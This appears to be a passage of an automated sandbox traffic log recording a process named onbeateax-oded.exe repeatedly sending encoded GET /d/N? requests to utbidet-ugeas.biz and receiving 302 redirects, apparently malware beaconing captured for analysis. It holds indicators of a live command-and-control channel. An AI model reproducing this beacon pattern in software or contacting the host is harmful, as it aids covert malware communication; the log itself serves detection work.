Sep 7, 2024 15:30:52.353516102 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:52 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	55229	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:59.395312071 CEST	169	OUT	GET /d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:59.901875019 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:59 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	55230	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:59.912297010 CEST	201	OUT	GET /d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:00.416682959 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:00 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	55232	172.234.222.143	80

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:02.858438969 CEST	169	OUT	GET /d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:03.389089108 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:03 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	55233	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:03.398299932 CEST	201	OUT	GET /d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:03.891510010 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:03 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	55235	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:04.037753105 CEST	169	OUT	GET /d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:04.614517927 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:04 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	55236	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:04.626422882 CEST	201	OUT	GET /d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:05.121881008 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:05 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	55238	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:05.263866901 CEST	169	OUT	GET /d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:05.769381046 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	55239	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:05.778158903 CEST	201	OUT	GET /d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:06.268354893 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:06 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:31:06.529556990 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:06 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	55241	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:06.942166090 CEST	169	OUT	GET /d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:07.426403046 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:07 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	55242	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:07.449507952 CEST	201	OUT	GET /d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:07.942843914 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:07 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	55244	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:10.655473948 CEST	169	OUT	GET /d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:11.145370960 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	55245	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:11.154314041 CEST	201	OUT	GET /d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:11.652890921 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	55247	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:13.098537922 CEST	169	OUT	GET /d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:13.583520889 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:13 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	55248	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:13.591689110 CEST	201	OUT	GET /d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:14.101361990 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:14 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	55250	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:14.270313978 CEST	169	OUT	GET /d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
